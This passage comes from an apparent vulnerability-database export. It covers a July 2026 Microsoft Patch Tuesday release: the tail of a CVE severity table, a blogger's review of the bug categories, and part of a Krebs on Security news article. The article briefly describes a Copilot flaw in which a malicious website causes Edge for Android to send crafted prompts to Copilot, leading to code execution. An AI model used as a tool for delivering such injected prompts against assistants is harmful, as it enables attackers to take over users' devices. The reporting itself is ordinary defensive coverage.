Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:03:38.279547Z"}, {"uuid": "919a7290-8c63-4398-a461-c1260b39d8b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48362", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3msz35jdqeb2x", "content": "\ud83d\udccc CVE-2026-48362 - ColdFusion is affected by an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability that could resul... https://www.cyberhub.blog/cves/CVE-2026-48362", "creation_timestamp": "2026-08-14T02:07:06.879946Z"}, {"uuid": "55d26556-4d32-4a05-ab26-c0b57cf5af19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48412", "type": "seen", "source": "https://bsky.app/profile/experiencedigest.bsky.social/post/3mstu6ozvid2q", "content": "CVE-2026-48412 (LOW) CVSS 2.7: https://experiencedigest.org/2026/08/11/cve-low-cvss.html", "creation_timestamp": "2026-08-12T00:19:11.217307Z"}, {"uuid": "b672d8ee-6d08-4bec-91cd-229ca160691c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48561", "type": "seen", "source": "https://krebsonsecurity.com/2026/07/microsoft-patches-a-record-570-security-flaws/", "content": "Microsoft Corp. today released software updates to plug at least 570 security holes in its Windows operating systems and other software, almost triple the number of vulnerabilities the software giant fixed in its record-smashing Patch Tuesday release last month. Microsoft attributed the burgeoning patch counts to vulnerability discoveries aided by artificial intelligence.\n\n\n\nNearly 60 of the bugs quashed in July’s Patch Tuesday earned a “critical” severity rating, meaning miscreants or malware could use them to seize remote control over a Windows device with little or no help from the user. Microsoft also addressed three zero-day flaws that are already being exploited in the wild.\n\nTwo of the zero-day weaknesses allow an attacker to elevate their user rights on a Windows system, as do approximately 250 other elevation of privilege flaws fixed this month; they include CVE-2026-56155 — an Active Directory Federation Services bug — and CVE-2026-56164, a Microsoft Sharepoint vulnerability.\n\nCVE-2026-50661 is a security feature bypass in Windows BitLocker that could allow attackers to gain access to encrypted data if they have physical access to the device. Microsoft said this bug has been detailed publicly, but that it is not aware of any active exploitation.\n\nIn a blog post on July 9, Microsoft Executive Vice President Pavan Davuluri wrote that Windows users will notice \u201ca higher volume of security updates included in each security release\u201d as a result of AI aiding in the discovery of vulnerabilities.\n\n“The pace of vulnerability discovery is changing with advances in AI making it possible to find more issues, faster, across more code, with new mechanisms that can accelerate both discovery and analysis,” Davuluri wrote.\n\nJack Bicer, director of vulnerability research at Action1, called attention to CVE-2026-48561, a remote code execution flaw in Microsoft Copilot (with a 9.6 CVSS threat score) that allows an unauthorized attacker to execute code over the network. Microsoft says an attacker could exploit this bug by hosting a malicious website that causes Microsoft Edge for Android to automatically send crafted prompts to Copilot when a user visits the site.\n\nAs AI advances the state of vulnerability discovery and remediation, it is also making it easier for attackers to quickly devise working exploits for known software flaws. Microsoft 